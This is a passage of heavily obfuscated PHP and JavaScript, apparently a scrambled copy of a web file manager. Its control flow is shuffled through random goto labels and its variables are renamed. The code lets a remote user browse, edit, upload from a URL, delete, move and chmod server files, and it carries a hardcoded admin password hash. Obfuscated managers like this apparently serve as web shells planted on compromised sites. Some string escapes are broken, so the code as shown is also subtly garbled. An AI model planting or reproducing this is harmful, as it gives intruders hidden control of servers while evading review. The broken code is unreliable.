                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit() 
            } 
        } 
    } 
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); } 
    // Save Settings 
    function save_settings($this) { 
        let form = $($this); 
        $.ajax({ 
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, 
            success: function (data) {if(data) { window.location.reload();}} 
        }); return false; 
    } 
    //Create new password hash 
    function new_password_hash($this) { 
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(''); 
        $.ajax({ 
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, 
            success: function (data) { if(data) { $pwd.val(data); } } 
        }); return false; 
    } 
    // Upload files using URL @param {Object} 
    function upload_from_url($this) { 
        let form = $($this), resultWrapper = $("div#js-url-upload__list"); 
        $.ajax({ 
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, 
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); }, 
            success: function (data) { 
                if(data) { 
                    data = JSON.parse(data); 
                    if(data.done) { 
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val(''); 
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); } 
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me'); 
                } 
            }, 
            error: function(xhr) { 
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr); 
            } 
        }); return false; 
    } 
    // Search template 
    function search_template(data) { 
        var response = ""; 
        $.each(data, function (key, val) { 
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`; 
        }); 
        return response; 
    } 
    // Advance search 
    function fm_search() { 
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook"); 
        if(!!searchTxt && searchTxt.length > 2 && path) { 
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf }; 
            $.ajax({ 
                type: "POST", 
                url: window.location, 
                data: data, 
                beforeSend: function() { 
                    searchWrapper.html(''); 
                    $loader.addClass('show-me'); 
                }, 
                success: function(data){ 
                    $loader.removeClass('show-me'); 
                    data = JSON.parse(data); 
                    if(data && data.length) { 
                        _html = search_template(data); 
                        searchWrapper.html(_html); 
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); } 
                }, 
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); }, 
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');} 
            }); 
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); } 
    } 
 
    // action confirm dailog modal 
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) { 
        e.preventDefault(); 
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action}; 
        let tpl = $("#js-tpl-confirm").html(); 
        $(".modal.confirmDailog").remove(); 
        $('#wrapper').append(template(tpl,tplObj)); 
        const $confirmDailog = $("#confirmDailog-"+tplObj.id); 
        $confirmDailog.modal('show'); 
        return false; 
    } 
     
 
    // on mouse hover image preview 
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery); 
 
    // Dom Ready Events 
    $(document).ready( function () { 
        // dataTable init 
        var $table = $('#main-table'), 
            tableLng = $table.find('th').length, 
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3]; 
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}] 
        }); 
        // filter table 
        $('#search-addon').on( 'keyup', function () { 
            mainTable.search( this.value ).draw(); 
        }); 
        $("input#advanced-search").on('keyup', function (e) { 
            if (e.keyCode === 13) { fm_search(); } 
        }); 
        $('#search-addon3').on( 'click', function () { fm_search(); }); 
        //upload nav tabs 
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){ 
            e.preventDefault();let target=$(this).data('target'); 
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active'); 
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden'); 
        }); 
    });</script><?php  if (isset($_GET["edit"]) && isset($_GET["env"]) && FM_EDIT_FILE && !FM_READONLY) { $mmmm = pathinfo($_GET["edit"], PATHINFO_EXTENSION); $mmmm = $mmmm == "js" ? "javascript" : $mmmm; print_external("js-ace"); ?> 
<script>var editor = ace.edit("editor"); 
        editor.getSession().setMode( {path:"ace/mode/<?php  echo $mmmm; ?> 
", inline:true} ); 
        //editor.setTheme("ace/theme/twilight"); //Dark Theme 
        editor.setShowPrintMargin(false); // Hide the vertical ruler 
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); } 
        editor.commands.addCommands([{ 
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'}, 
            exec: function(editor) { edit_save(this, 'ace'); } 
        }]); 
        function renderThemeMode() { 
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; }, 
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}}; 
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); } 
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");} 
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); } 
            $modeEl.val( editor.getSession().$modeId ); 
            $themeEl.val( editor.getTheme() ); 
            $fontSizeEl.val(12).change(); //set default font size in drop down 
        } 
 
        $(function(){ 
            renderThemeMode(); 
            $(".js-ace-toolbar").on("click", 'button', function(e){ 
                e.preventDefault(); 
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option"); 
                if(cmdValue && cmdValue != "none") { 
                    ace_commend(cmdValue); 
                } else if(editorOption) { 
                    if(editorOption == "fullscreen") { 
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen) 
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen()); 
                    } else if(editorOption == "wrap") { 
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true; 
                        editor.getSession().setUseWrapMode(wrapStatus); 
                    } 
                } 
            }); 
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){ 
                e.preventDefault(); 
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type"); 
                if(selectedValue && selectionType == "mode") { 
                    editor.getSession().setMode(selectedValue); 
                } else if(selectedValue && selectionType == "theme") { 
                    editor.setTheme(selectedValue); 
                }else if(selectedValue && selectionType == "fontSize") { 
                    editor.setFontSize(parseInt(selectedValue)); 
                } 
            }); 
        });</script><?php  } ?> 
<div id="snackbar"></div></body></html><?php  } goto Ypcdy; yniu3: defined("FM_UPLOAD_EXTENSION") || define("FM_UPLOAD_EXTENSION", $z); goto B3ds2; lxCu6: $ee = 5000000000; goto UKnPa; jzZpf: function fm_object_to_array($hhhhhhhhhh) { if (!is_object($hhhhhhhhhh) && !is_array($hhhhhhhhhh)) { return $hhhhhhhhhh; } if (is_object($hhhhhhhhhh)) { $hhhhhhhhhh = get_object_vars($hhhhhhhhhh); } return array_map("fm_object_to_array", $hhhhhhhhhh); } goto AoWtK; I2sq3: $h = false; goto VWMrW; b6P5a: ?> 
</th></tr></thead><?php  goto T_rNm; tidrV: define("FM_EDIT_FILE", $o); goto G3txp; SWRGf: $iii = FM_ROOT_PATH; goto f_7RI; bkHlr: function fm_copy($xxxxxxxx, $yyyyyyyy, $vvvvvvvv) { $zzzzzzzz = filemtime($xxxxxxxx); if (file_exists($yyyyyyyy)) { $aaaaaaaaa = filemtime($yyyyyyyy); if ($aaaaaaaaa >= $zzzzzzzz && $vvvvvvvv) { return false; } } $ssssssss = copy($xxxxxxxx, $yyyyyyyy); if ($ssssssss) { touch($yyyyyyyy, $zzzzzzzz); } return $ssssssss; } goto VUt9r; OJC1q: foreach ($lllll as $mmmmm) { $ffffffff = is_link($iii . "/" . $mmmmm); $gggggggg = $ffffffff ? "fa fa-file-text-o" : fm_get_file_icon_class($iii . "/" . $mmmmm); $hhhhhhhh = filemtime($iii . "/" . $mmmmm); $iiiiiiii = date(FM_DATETIME_FORMAT, $hhhhhhhh); $jjjjjjjj = strtotime(date("F d Y H:i:s.", $hhhhhhhh)); $ddddddd = fm_get_size($iii . "/" . $mmmmm); $eeeeeee = fm_get_filesize($ddddddd); $oooooooo = "?p=" . urlencode(FM_PATH) . "&amp;view=" . urlencode($mmmmm); $cccccccc += $ddddddd; $kkkkkkkk = substr(decoct(fileperms($iii . "/" . $mmmmm)), -4); if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) { $llllllll = posix_getpwuid(fileowner($iii . "/" . $mmmmm)); $mmmmmmmm = posix_getgrgid(filegroup($iii . "/" . $mmmmm)); } else { $llllllll = array("name" => "?"); $mmmmmmmm = array("name" => "?"); } ?> 
<tr><?php  if (!FM_READONLY) { ?> 
<td class="custom-checkbox-td"><div class="custom-checkbox custom-control"><input name="file[]"type="checkbox"value="<?php  echo fm_enc($mmmmm); ?> 
"id="<?php  echo $nnnnnnnn; ?> 
"class="custom-control-input"> <label for="<?php  echo $nnnnnnnn; ?> 
"class="custom-control-label"></label></div></td><?php  } ?> 
<td data-sort="<?php  echo fm_enc($mmmmm); ?> 
"><div class="filename"><?php  if (in_array(strtolower(pathinfo($mmmmm, PATHINFO_EXTENSION)), array("gif", "jpg", "jpeg", "png", "bmp", "ico", "svg", "webp", "avif"))) { $pppppppp = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "/" . FM_PATH : '') . "/" . $mmmmm); ?> 
<a href="<?php  echo $oooooooo; ?> 
"title="<?php  echo fm_enc($mmmmm); ?> 
"data-preview-image="<?php  echo $pppppppp; ?> 
"><?php  } else { ?> 
<a href="<?php  echo $oooooooo; ?> 
"title="<?php  echo $mmmmm; ?> 
"><?php  } ?> 
<i class="<?php  echo $gggggggg; ?> 
"></i><?php  echo fm_convert_win(fm_enc($mmmmm)); ?> 
</a><?php  echo $ffffffff ? " &rarr; <i>" . readlink($iii . "/" . $mmmmm) . "</i>" : ''; ?> 
</div></td><td data-order="b-<?php  echo str_pad($ddddddd, 18, "0", STR_PAD_LEFT); ?> 
"><span title="<?php  printf("%s bytes", $ddddddd); ?> 
"><?php  echo $eeeeeee; ?> 
</span></td><td data-order="b-<?php  echo $jjjjjjjj; ?> 
"><?php  echo $iiiiiiii; ?> 
</td><?php  if (!FM_IS_WIN && !$rr) { ?> 
<td><?php  if (!FM_READONLY) { ?> 
<a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&chmod=<?php  echo urlencode($mmmmm); ?> 
"title="<?php  echo "Change Permissions"; ?> 
"><?php  echo $kkkkkkkk; ?> 
</a><?php  } else { echo $kkkkkkkk; } ?> 
</td><td><?php  echo fm_enc($llllllll["name"] . ":" . $mmmmmmmm["name"]); ?> 
</td><?php  } ?> 
<td class="inline-actions"><?php  if (!FM_READONLY) { ?> 
<a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&del=<?php  echo urlencode($mmmmm); ?> 
"title="<?php  echo lng("Delete"); ?> 
"onclick='confirmDailog(event,1209,"<?php  echo lng("Delete") . " " . lng("File"); ?> 
","<?php  echo urlencode($mmmmm); ?> 
",this.href)'><i class="fa fa-trash-o"></i></a> <a href="#"title="<?php  echo lng("Rename"); ?> 
"onclick='return rename("<?php  echo fm_enc(addslashes(FM_PATH)); ?> 
","<?php  echo fm_enc(addslashes($mmmmm)); ?> 
"),!1'><i class="fa fa-pencil-square-o"></i></a> <a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&copy=<?php  echo urlencode(trim(FM_PATH . "/" . $mmmmm, "/")); ?> 
"title="<?php  echo lng("CopyTo"); ?> 
..."><i class="fa fa-files-o"></i></a><?php  } ?> 
<a href="<?php  echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "/" . FM_PATH : '') . "/" . $mmmmm); ?> 
"title="<?php  echo lng("DirectLink"); ?> 
"target="_blank"><i class="fa fa-link"></i></a> <a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&dl=<?php  echo urlencode($mmmmm); ?> 
"title="<?php  echo lng("Download"); ?> 
"onclick='confirmDailog(event,1211,"<?php  echo lng("Download"); ?> 
","<?php  echo urlencode($mmmmm); ?> 
",this.href)'><i class="fa fa-download"></i></a></td></tr><?php  flush(); $nnnnnnnn++; } goto G9XQO; El7zR: fm_show_footer(); goto iCskO; DERtn: echo fm_enc(FM_PATH); goto IBHil; oNXhl: if (isset($_SESSION[FM_SESSION_ID]["logged"]) && !empty($j[$_SESSION[FM_SESSION_ID]["logged"]])) { $zz = fm_clean_path(dirname($_SERVER["PHP_SELF"])); $s = $s . $zz . DIRECTORY_SEPARATOR . $j[$_SESSION[FM_SESSION_ID]["logged"]]; } goto BgoCG; NJEb4: if (isset($_POST["file"], $_POST["copy_to"], $_POST["finish"], $_POST["token"]) && !FM_READONLY) { if (!verifyToken($_POST["token"])) { fm_set_msg(lng("Invalid Token."), "error"); } $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } $iiiii = FM_ROOT_PATH; $jjjjj = fm_clean_path($_POST["copy_to"]); if ($jjjjj != '') { $iiiii .= "/" . $jjjjj; } if ($iii == $iiiii) { fm_set_msg(lng("Paths must be not equal"), "alert"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } if (!is_dir($iiiii)) { if (!fm_mkdir($iiiii, true)) { fm_set_msg("Unable to create destination folder", "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } } $aaaaa = isset($_POST["move"]); $kkkkk = 0; $lllll = $_POST["file"]; if (is_array($lllll) && count($lllll)) { foreach ($lllll as $mmmmm) { if ($mmmmm != '') { $mmmmm = fm_clean_path($mmmmm); $yyyy = $iii . "/" . $mmmmm; $zzzz = $iiiii . "/" . $mmmmm; if ($aaaaa) { $ccccc = fm_rename($yyyy, $zzzz); if ($ccccc === false) { $kkkkk++; } } else { if (!fm_rcopy($yyyy, $zzzz)) { $kkkkk++; } } } } if ($kkkkk == 0) { $vv = $aaaaa ? "Selected files and folders moved" : "Selected files and folders copied"; fm_set_msg($vv); } else { $vv = $aaaaa ? "Error while moving items" : "Error while copying items"; fm_set_msg($vv, "error"); } } else { fm_set_msg(lng("Nothing selected"), "alert"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto Vpyvh; La6PN: if (empty($d)) { $c = false; } goto Jn7TB; N_Vj9: defined("FM_FILE_EXTENSION") || define("FM_FILE_EXTENSION", $y); goto yniu3; NtkMf: if (!empty($ssssss)) { natcasesort($ssssss); } goto Uq6D2; kd7LV: function fm_clean_path($iii, $ggggggggg = true) { $iii = $ggggggggg ? trim($iii) : $iii; $iii = trim($iii, "\/"); $iii = str_replace(array("../", "..\"), '', $iii); $iii = get_absolute_path($iii); if ($iii == "..") { $iii = ''; } return str_replace("\", "/", $iii); } goto GCK3B; derXu: function scan($ggg = '', $kkkkkkkkkk = '') { $iii = FM_ROOT_PATH . "/" . $ggg; if ($iii) { $llllllllll = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($iii)); $mmmmmmmmmm = new RegexIterator($llllllllll, "/(" . $kkkkkkkkkk . ")/i"); $lllll = array(); foreach ($mmmmmmmmmm as $ww) { if (!$ww->isDir()) { $ooo = $ww->getFilename(); $nnnnnnnnnn = str_replace(FM_ROOT_PATH, '', $ww->getPath()); $lllll[] = array("name" => $ooo, "type" => "file", "path" => $nnnnnnnnnn); } } return $lllll; } } goto Y8p1N; ob77A: $d = array("admin" => "$2y$10$HNSzIP6lfXutPzV/YkLIoOKk4YssqqEchrsLHJXQMqV7pf5qMhEwK"); goto GLSgT; Dsrsg: $kk = array("0.0.0.0", "::"); goto ScVcK; WJnXN: $q = "Etc/UTC"; goto SuCA2; SrLk7: define("MAX_UPLOAD_SIZE", $ee); goto advFQ; MGso0: $bbbbbbbb = count($ssssss); goto ZniF3; Lk0k7: foreach ($ssssss as $mmmmm) { $ffffffff = is_link($iii . "/" . $mmmmm); $gggggggg = $ffffffff ? "icon-link_folder" : "fa fa-folder-o"; $hhhhhhhh = filemtime($iii . "/" . $mmmmm); $iiiiiiii = date(FM_DATETIME_FORMAT, $hhhhhhhh); $jjjjjjjj = strtotime(date("F d Y H:i:s.", $hhhhhhhh)); $ddddddd = ''; $eeeeeee = lng("Folder"); $kkkkkkkk = substr(decoct(fileperms($iii . "/" . $mmmmm)), -4); if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) { $llllllll = posix_getpwuid(fileowner($iii . "/" . $mmmmm)); $mmmmmmmm = posix_getgrgid(filegroup($iii . "/" . $mmmmm)); } else { $llllllll = array("name" => "?"); $mmmmmmmm = array("name" => "?"); } ?> 
<tr><?php  if (!FM_READONLY) { ?> 
<td class="custom-checkbox-td"><div class="custom-checkbox custom-control"><input name="file[]"type="checkbox"value="<?php  echo fm_enc($mmmmm); ?> 
"id="<?php  echo $eeeeeeee; ?> 
"class="custom-control-input"> <label for="<?php  echo $eeeeeeee; ?> 
"class="custom-control-label"></label></div></td><?php  } ?> 
<td data-sort="<?php  echo fm_convert_win(fm_enc($mmmmm)); ?> 
"><div class="filename"><a href="?p=<?php  echo urlencode(trim(FM_PATH . "/" . $mmmmm, "/")); ?> 
"><i class="<?php  echo $gggggggg; ?> 
"></i><?php  echo fm_convert_win(fm_enc($mmmmm)); ?> 
</a><?php  echo $ffffffff ? " &rarr; <i>" . readlink($iii . "/" . $mmmmm) . "</i>" : ''; ?> 
</div></td><td data-order="a-<?php  echo str_pad($ddddddd, 18, "0", STR_PAD_LEFT); ?> 
"><?php  echo $eeeeeee; ?> 
</td><td data-order="a-<?php  echo $jjjjjjjj; ?> 
"><?php  echo $iiiiiiii; ?> 
</td><?php  if (!FM_IS_WIN && !$rr) { ?> 
<td><?php  if (!FM_READONLY) { ?> 
<a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&chmod=<?php  echo urlencode($mmmmm); ?> 
"title="Change Permissions"><?php  echo $kkkkkkkk; ?> 
</a><?php  } else { echo $kkkkkkkk; } ?> 
</td><td><?php  echo $llllllll["name"] . ":" . $mmmmmmmm["name"]; ?> 
</td><?php  } ?> 
<td class="inline-actions"><?php  if (!FM_READONLY) { ?> 
<a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&del=<?php  echo urlencode($mmmmm); ?> 
"title="<?php  echo lng("Delete"); ?> 
"onclick='confirmDailog(event,"1028","<?php  echo lng("Delete") . " " . lng("Folder"); ?> 
","<?php  echo urlencode($mmmmm); ?> 
",this.href)'><i class="fa fa-trash-o"aria-hidden="true"></i></a> <a href="#"title="<?php  echo lng("Rename"); ?> 
"onclick='return rename("<?php  echo fm_enc(addslashes(FM_PATH)); ?> 
","<?php  echo fm_enc(addslashes($mmmmm)); ?> 
"),!1'><i class="fa fa-pencil-square-o"aria-hidden="true"></i></a> <a href="?p=&copy=<?php  echo urlencode(trim(FM_PATH . "/" . $mmmmm, "/")); ?> 
"title="<?php  echo lng("CopyTo"); ?> 
..."><i class="fa fa-files-o"aria-hidden="true"></i></a><?php  } ?> 
<a href="<?php  echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? "/" . FM_PATH : '') . "/" . $mmmmm . "/"); ?> 
"title="<?php  echo lng("DirectLink"); ?> 
"target="_blank"><i class="fa fa-link"aria-hidden="true"></i></a></td></tr><?php  flush(); $eeeeeeee++; } goto kpKHI; Zlyyq: $eee = isset($_GET["p"]) ? $_GET["p"] : (isset($_POST["p"]) ? $_POST["p"] : ''); goto jjYtR; imGSb: define("FM_USE_AUTH", $c); goto tidrV; TKcmv: ?> 
</th><th><?php  goto e5Gd4; SWla_: if ($qq == true) { @ini_set("error_reporting", E_ALL); @ini_set("display_errors", 1); } else { @ini_set("error_reporting", E_ALL); @ini_set("display_errors", 0); } goto cM_sN; atWEc: $y = ''; goto Zn7Sx; I3AZd: fm_show_nav_path(FM_PATH); goto wlnA9; kk_kT: $oo = isset($nn->data["lang"]) ? $nn->data["lang"] : "en"; goto pZ0zR; B8fFS: defined("FM_ROOT_PATH") || define("FM_ROOT_PATH", $r); goto OU9nx; eYkpv: function fm_get_audio_exts() { return array("wav", "mp3", "ogg", "m4a"); } goto I8IfO; gTcx5: $u = "UTF-8"; goto FeUD9; q9SX4: if (!FM_IS_WIN && !$rr) { ?> 
<th><?php  echo lng("Perms"); ?> 
</th><th><?php  echo lng("Owner"); ?> 
</th><?php  } goto DnZZE; N60RJ: $rrrrrr = is_readable($iii) ? scandir($iii) : array(); goto ume95; LKB5D: if (isset($_GET["copy"], $_GET["finish"]) && !FM_READONLY) { $xxxx = urldecode($_GET["copy"]); $xxxx = fm_clean_path($xxxx); if ($xxxx == '') { fm_set_msg(lng("Source path not defined"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } $yyyy = FM_ROOT_PATH . "/" . $xxxx; $zzzz = FM_ROOT_PATH; if (FM_PATH != '') { $zzzz .= "/" . FM_PATH; } $zzzz .= "/" . basename($yyyy); $aaaaa = isset($_GET["move"]); $aaaaa = fm_clean_path(urldecode($aaaaa)); if ($yyyy != $zzzz) { $bbbbb = trim(FM_PATH . "/" . basename($yyyy), "/"); if ($aaaaa) { $ccccc = fm_rename($yyyy, $zzzz); if ($ccccc) { fm_set_msg(sprintf(lng("Moved from") . " <b>%s</b> " . lng("to") . " <b>%s</b>", fm_enc($xxxx), fm_enc($bbbbb))); } elseif ($ccccc === null) { fm_set_msg(lng("File or folder with this path already exists"), "alert"); } else { fm_set_msg(sprintf(lng("Error while moving from") . " <b>%s</b> " . lng("to") . " <b>%s</b>", fm_enc($xxxx), fm_enc($bbbbb)), "error"); } } else { if (fm_rcopy($yyyy, $zzzz)) { fm_set_msg(sprintf(lng("Copied from") . " <b>%s</b> " . lng("to") . " <b>%s</b>", fm_enc($xxxx), fm_enc($bbbbb))); } else { fm_set_msg(sprintf(lng("Error while copying from") . " <b>%s</b> " . lng("to") . " <b>%s</b>", fm_enc($xxxx), fm_enc($bbbbb)), "error"); } } } else { if (!$aaaaa) { $bbbbb = trim(FM_PATH . "/" . basename($yyyy), "/"); $ddddd = pathinfo($yyyy); $eeeee = ''; if (!is_dir($yyyy)) { $eeeee = "." . $ddddd["extension"]; } $fffff = $ddddd["dirname"] . "/" . $ddddd["filename"] . "-" . date("YmdHis") . $eeeee; $ggggg = 0; $hhhhh = 1000; while (file_exists($fffff) & $ggggg < $hhhhh) { $ddddd = pathinfo($fffff); $fffff = $ddddd["dirname"] . "/" . $ddddd["filename"] . "-copy" . $eeeee; $ggggg++; } if (fm_rcopy($yyyy, $fffff, False)) { fm_set_msg(sprintf("Copyied from <b>%s</b> to <b>%s</b>", fm_enc($xxxx), fm_enc($fffff))); } else { fm_set_msg(sprintf("Error while copying from <b>%s</b> to <b>%s</b>", fm_enc($xxxx), fm_enc($fffff)), "error"); } } else { fm_set_msg(lng("Paths must be not equal"), "alert"); } } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto NJEb4; mTwA9: $qq = isset($nn->data["error_reporting"]) ? $nn->data["error_reporting"] : true; goto dZQnu; vI44Q: $b = "{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}"; goto 